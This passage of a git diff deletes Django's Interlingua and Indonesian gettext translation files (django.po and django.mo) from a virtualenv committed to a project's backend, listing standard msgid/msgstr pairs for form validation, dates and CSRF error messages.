%d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Ordine" - -msgid "Delete" -msgstr "Deler" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Per favor corrige le datos duplicate pro %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Per favor corrige le datos duplicate pro %(field)s, que debe esser unic." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Per favor corrige le datos duplicate pro %(field_name)s, que debe esser unic " -"pro le %(lookup)s in %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Per favor corrige le sequente valores duplicate." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Per favor selige un option valide. Iste option non es inter le optiones " -"disponibile." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Rader" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Cambiar" - -msgid "Unknown" -msgstr "Incognite" - -msgid "Yes" -msgstr "Si" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "si,no,forsan" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "pm." - -msgid "a.m." -msgstr "am." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medienocte" - -msgid "noon" -msgstr "mediedie" - -msgid "Monday" -msgstr "lunedi" - -msgid "Tuesday" -msgstr "martedi" - -msgid "Wednesday" -msgstr "mercuridi" - -msgid "Thursday" -msgstr "jovedi" - -msgid "Friday" -msgstr "venerdi" - -msgid "Saturday" -msgstr "sabbato" - -msgid "Sunday" -msgstr "dominica" - -msgid "Mon" -msgstr "lun" - -msgid "Tue" -msgstr "mar" - -msgid "Wed" -msgstr "mer" - -msgid "Thu" -msgstr "jov" - -msgid "Fri" -msgstr "ven" - -msgid "Sat" -msgstr "sab" - -msgid "Sun" -msgstr "dom" - -msgid "January" -msgstr "januario" - -msgid "February" -msgstr "februario" - -msgid "March" -msgstr "martio" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maio" - -msgid "June" -msgstr "junio" - -msgid "July" -msgstr "julio" - -msgid "August" -msgstr "augusto" - -msgid "September" -msgstr "septembre" - -msgid "October" -msgstr "octobre" - -msgid "November" -msgstr "novembre" - -msgid "December" -msgstr "decembre" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maio" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januario" - -msgctxt "alt. month" -msgid "February" -msgstr "Februario" - -msgctxt "alt. month" -msgid "March" -msgstr "Martio" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Maio" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Augusto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Octobre" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Decembre" - -msgid "This is not a valid IPv6 address." -msgstr "Isto non es un adresse IPv6 valide." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "Prohibite" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verification CSRF fallite. Requesta abortate." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Tu vide iste message perque iste sito require un cookie CSRF durante le " -"submission de formularios. Iste cookie es requirite pro motivos de " -"securitate, pro assecurar que tu navigator non es sequestrate per tertie " -"personas." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Plus information es disponibile con DEBUG=True." - -msgid "No year specified" -msgstr "Nulle anno specificate" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Nulle mense specificate" - -msgid "No day specified" -msgstr "Nulle die specificate" - -msgid "No week specified" -msgstr "Nulle septimana specificate" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Il non ha %(verbose_name_plural)s disponibile" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"In le futuro, %(verbose_name_plural)s non essera disponibile perque " -"%(class_name)s.allow_future es False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nulle %(verbose_name)s trovate que corresponde al consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Pagina invalide (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Le indices de directorio non es permittite hic." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indice de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.mo deleted file mode 100644 index 74e20b08..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.po deleted file mode 100644 index 30d7a363..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/id/LC_MESSAGES/django.po +++ /dev/null @@ -1,1338 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Adiyat Mubarak , 2017 -# Bayu Satiyo , 2024 -# Claude Paroz , 2018 -# Fery Setiawan , 2015-2019,2021-2024 -# Jannis Leidel , 2011 -# M Asep Indrayana , 2015 -# oon arfiandwi (OonID) , 2016,2020 -# rodin , 2011 -# rodin , 2013-2016 -# sag​e , 2018-2019 -# Sutrisno Efendi , 2015,2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Fery Setiawan , 2015-2019,2021-2024\n" -"Language-Team: Indonesian (http://app.transifex.com/django/django/language/" -"id/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: id\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arab" - -msgid "Algerian Arabic" -msgstr "Arab Aljazair" - -msgid "Asturian" -msgstr "Asturia" - -msgid "Azerbaijani" -msgstr "Azerbaijani" - -msgid "Bulgarian" -msgstr "Bulgaria" - -msgid "Belarusian" -msgstr "Belarusia" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosnia" - -msgid "Catalan" -msgstr "Catalan" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdi Tengah (Sorani)" - -msgid "Czech" -msgstr "Ceska" - -msgid "Welsh" -msgstr "Wales" - -msgid "Danish" -msgstr "Denmark" - -msgid "German" -msgstr "Jerman" - -msgid "Lower Sorbian" -msgstr "Sorbian Bawah" - -msgid "Greek" -msgstr "Yunani" - -msgid "English" -msgstr "Inggris" - -msgid "Australian English" -msgstr "Inggris Australia" - -msgid "British English" -msgstr "Inggris Britania" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanyol" - -msgid "Argentinian Spanish" -msgstr "Spanyol Argentina" - -msgid "Colombian Spanish" -msgstr "Spanyol Kolombia" - -msgid "Mexican Spanish" -msgstr "Spanyol Meksiko" - -msgid "Nicaraguan Spanish" -msgstr "Spanyol Nikaragua" - -msgid "Venezuelan Spanish" -msgstr "Spanyol Venezuela" - -msgid "Estonian" -msgstr "Estonia" - -msgid "Basque" -msgstr "Basque" - -msgid "Persian" -msgstr "Persia" - -msgid "Finnish" -msgstr "Finlandia" - -msgid "French" -msgstr "Perancis" - -msgid "Frisian" -msgstr "Frisia" - -msgid "Irish" -msgstr "Irlandia" - -msgid "Scottish Gaelic" -msgstr "Skolandia Gaelik" - -msgid "Galician" -msgstr "Galicia" - -msgid "Hebrew" -msgstr "Ibrani" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroasia" - -msgid "Upper Sorbian" -msgstr "Sorbian Atas" - -msgid "Hungarian" -msgstr "Hungaria" - -msgid "Armenian" -msgstr "Armenia" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesia" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandia" - -msgid "Italian" -msgstr "Italia" - -msgid "Japanese" -msgstr "Jepang" - -msgid "Georgian" -msgstr "Georgia" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Kazakhstan" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Korea" - -msgid "Kyrgyz" -msgstr "Kirgis" - -msgid "Luxembourgish" -msgstr "Luksemburg" - -msgid "Lithuanian" -msgstr "Lithuania" - -msgid "Latvian" -msgstr "Latvia" - -msgid "Macedonian" -msgstr "Makedonia" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolia" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malaysia" - -msgid "Burmese" -msgstr "Burma" - -msgid "Norwegian Bokmål" -msgstr "Norwegia Bokmål" - -msgid "Nepali" -msgstr "Nepal" - -msgid "Dutch" -msgstr "Belanda" - -msgid "Norwegian Nynorsk" -msgstr "Norwegia Nynorsk" - -msgid "Ossetic" -msgstr "Ossetic" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polandia" - -msgid "Portuguese" -msgstr "Portugis" - -msgid "Brazilian Portuguese" -msgstr "Portugis Brazil" - -msgid "Romanian" -msgstr "Romania" - -msgid "Russian" -msgstr "Rusia" - -msgid "Slovak" -msgstr "Slovakia" - -msgid "Slovenian" -msgstr "Slovenia" - -msgid "Albanian" -msgstr "Albania" - -msgid "Serbian" -msgstr "Serbia" - -msgid "Serbian Latin" -msgstr "Serbia Latin" - -msgid "Swedish" -msgstr "Swedia" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tajik" - -msgid "Thai" -msgstr "Thailand" - -msgid "Turkmen" -msgstr "Turkmenistan" - -msgid "Turkish" -msgstr "Turki" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uyghur" - -msgid "Ukrainian" -msgstr "Ukrainia" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbek" - -msgid "Vietnamese" -msgstr "Vietnam" - -msgid "Simplified Chinese" -msgstr "Tiongkok Sederhana" - -msgid "Traditional Chinese" -msgstr "Tiongkok Tradisionil" - -msgid "Messages" -msgstr "Pesan" - -msgid "Site Maps" -msgstr "Peta Situs" - -msgid "Static Files" -msgstr "Berkas Statis" - -msgid "Syndication" -msgstr "Sindikasi" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Nomor halaman itu bukan sebuah integer" - -msgid "That page number is less than 1" -msgstr "Nomor halaman itu kurang dari 1" - -msgid "That page contains no results" -msgstr "Tidak ada hasil untuk halaman tersebut" - -msgid "Enter a valid value." -msgstr "Masukkan nilai yang valid." - -msgid "Enter a valid domain name." -msgstr "Masukkan nama domain yang sah." - -msgid "Enter a valid URL." -msgstr "Masukkan URL yang valid." - -msgid "Enter a valid integer." -msgstr "Masukan sebuah bilangan bulat yang benar" - -msgid "Enter a valid email address." -msgstr "Masukkan alamat email yang valid." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Masukkan “slug” valid yang terdiri dari huruf, angka, garis bawah, atau " -"tanda hubung." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Masukkan sebuah “slug” valid yang terdiri dari huruf, angka, garis bawah, " -"atau penghubung Unicode." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Masukkan alamat %(protocol)s yang sah." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 atau IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Hanya masukkan angka yang dipisahkan dengan koma." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Pastikan nilai ini %(limit_value)s (saat ini %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Pastikan nilai ini lebih kecil dari atau sama dengan %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Pastikan nilai ini lebih besar dari atau sama dengan %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Pastikan nilai ini adalah kelipatan dari ukuran langkah %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Pastikan nilai ini merupakan kelipatan ukuran langkah %(limit_value)s, " -"dimulai dari %(offset)s, misalnya %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, dan seterusnya." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Pastikan nilai ini mengandung paling sedikit %(limit_value)d karakter " -"(sekarang %(show_value)d karakter)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Pastikan nilai ini mengandung paling banyak %(limit_value)d karakter " -"(sekarang %(show_value)d karakter)." - -msgid "Enter a number." -msgstr "Masukkan sebuah bilangan." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Pastikan jumlah angka pada bilangan tidak melebihi %(max)s angka." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Pastikan bilangan tidak memiliki lebih dari %(max)s angka desimal." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Pastikan jumlah angka sebelum desimal pada bilangan tidak memiliki lebih " -"dari %(max)s angka." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Ekstensi berkas “%(extension)s” tidak diizinkan. Ekstensi diizinkan adalah: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Karakter null tidak diizinkan." - -msgid "and" -msgstr "dan" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s dengan %(field_labels)s ini tidak ada." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Batasan “%(name)s” dilanggar." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Nilai %(value)r bukan pilihan yang valid." - -msgid "This field cannot be null." -msgstr "Field ini tidak boleh null." - -msgid "This field cannot be blank." -msgstr "Field ini tidak boleh kosong." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s dengan %(field_label)s telah ada." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s haruslah unik untuk %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Field dengan tipe: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Nilai “%(value)s” harus berupa True atau False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Nilai “%(value)s” harus berupa True, False, atau None." - -msgid "Boolean (Either True or False)" -msgstr "Nilai Boolean (Salah satu dari True atau False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (maksimum %(max_length)s)" - -msgid "String (unlimited)" -msgstr "String (tidak terbatas)" - -msgid "Comma-separated integers" -msgstr "Bilangan asli yang dipisahkan dengan koma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Nilai “%(value)s” mempunyai format tanggal yang tidak valid. Tanggal harus " -"dalam format YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Nilai “%(value)s” memiliki format yang benar (YYYY-MM-DD), tetapi tanggalnya " -"tidak valid." - -msgid "Date (without time)" -msgstr "Tanggal (tanpa waktu)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Nilai “%(value)s” memiliki format yang tidak valid. Tanggal dan waktu harus " -"dalam format YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Nilai “%(value)s” memiliki format yang benar (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]), tetapi tanggal/waktunya tidak valid." - -msgid "Date (with time)" -msgstr "Tanggal (dengan waktu)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Nilai “%(value)s” harus berupa bilangan desimal." - -msgid "Decimal number" -msgstr "Bilangan desimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Nilai “%(value)s” mempunyai format yang tidak valid. Waktu harus dalam " -"format [DD] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Durasi" - -msgid "Email address" -msgstr "Alamat email" - -msgid "File path" -msgstr "Lokasi berkas" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Nilai “%(value)s” harus berupa bilangan real." - -msgid "Floating point number" -msgstr "Bilangan 'floating point'" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Nilai “%(value)s” harus berupa integer." - -msgid "Integer" -msgstr "Bilangan Asli" - -msgid "Big (8 byte) integer" -msgstr "Bilangan asli raksasa (8 byte)" - -msgid "Small integer" -msgstr "Bilangan asli kecil" - -msgid "IPv4 address" -msgstr "Alamat IPv4" - -msgid "IP address" -msgstr "Alamat IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Nilai “%(value)s” harus berupa None, True, atau False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Salah satu dari True, False, atau None)" - -msgid "Positive big integer" -msgstr "Integer besar positif" - -msgid "Positive integer" -msgstr "Bilangan asli positif" - -msgid "Positive small integer" -msgstr "Bilangan asli kecil positif" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (hingga %(max_length)s karakter)" - -msgid "Text" -msgstr "Teks" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Nilai “%(value)s” mempunyai format yang tidak valid. Waktu harus dalam " -"format HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Nilai “%(value)s” mempunyai format yang benar (HH:MM[:ss[.uuuuuu]]), tetapi " -"nilai waktunya tidak valid." - -msgid "Time" -msgstr "Waktu" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Data biner mentah" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” bukan UUID yang valid." - -msgid "Universally unique identifier" -msgstr "Pengenal unik secara universal" - -msgid "File" -msgstr "Berkas" - -msgid "Image" -msgstr "Gambar" - -msgid "A JSON object" -msgstr "Objek JSON" - -msgid "Value must be valid JSON." -msgstr "Nilai harus JSON yang valid." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Kunci Asing (tipe tergantung dari bidang yang berkaitan)" - -msgid "One-to-one relationship" -msgstr "Hubungan satu-ke-satu" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Hubungan %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Hubungan %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Hubungan banyak-ke-banyak" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Bidang ini tidak boleh kosong." - -msgid "Enter a whole number." -msgstr "Masukkan keseluruhan angka bilangan." - -msgid "Enter a valid date." -msgstr "Masukkan tanggal yang valid." - -msgid "Enter a valid time." -msgstr "Masukkan waktu yang valid." - -msgid "Enter a valid date/time." -msgstr "Masukkan tanggal/waktu yang valid." - -msgid "Enter a valid duration." -msgstr "Masukan durasi waktu yang benar." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Jumlah hari harus di antara {min_days} dan {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Tidak ada berkas yang dikirimkan. Periksa tipe pengaksaraan formulir." - -msgid "No file was submitted." -msgstr "Tidak ada berkas yang dikirimkan." - -msgid "The submitted file is empty." -msgstr "Berkas yang dikirimkan kosong." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Pastikan nama berkas ini mengandung paling banyak %(max)d karakter (sekarang " -"%(length)d karakter)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Pilih antara mengirimkan berkas atau menghapus tanda centang pada kotak " -"centang" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Unggah gambar yang valid. Berkas yang Anda unggah bukan merupakan berkas " -"gambar atau gambarnya rusak." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Masukkan pilihan yang valid. %(value)s bukan salah satu dari pilihan yang " -"tersedia." - -msgid "Enter a list of values." -msgstr "Masukkan beberapa nilai." - -msgid "Enter a complete value." -msgstr "Masukkan nilai yang komplet." - -msgid "Enter a valid UUID." -msgstr "Masukan UUID yang benar." - -msgid "Enter a valid JSON." -msgstr "Masukkan JSON yang valid." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Bidang tersembunyi %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Data ManagementForm telah hilang atau telah dirusak. Bidang yang hilang: " -"%(field_names)s. Anda mungkin butuh memberkaskan laporan kesalahan jika " -"masalah masih ada." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Harap ajukan paling banyak %(num)d formulir." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Harap ajukan setidaknya %(num)d formulir." - -msgid "Order" -msgstr "Urutan" - -msgid "Delete" -msgstr "Hapus" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Perbaiki data ganda untuk %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Perbaiki data ganda untuk %(field)s yang nilainya harus unik." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Perbaiki data ganda untuk %(field_name)s yang nilainya harus unik untuk " -"pencarian %(lookup)s pada %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Perbaiki nilai ganda di bawah ini." - -msgid "The inline value did not match the parent instance." -msgstr "Nilai sebaris tidak cocok dengan instance induk." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Masukkan pilihan yang valid. Pilihan tersebut bukan salah satu dari pilihan " -"yang tersedia." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” bukan nilai yang valid." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" 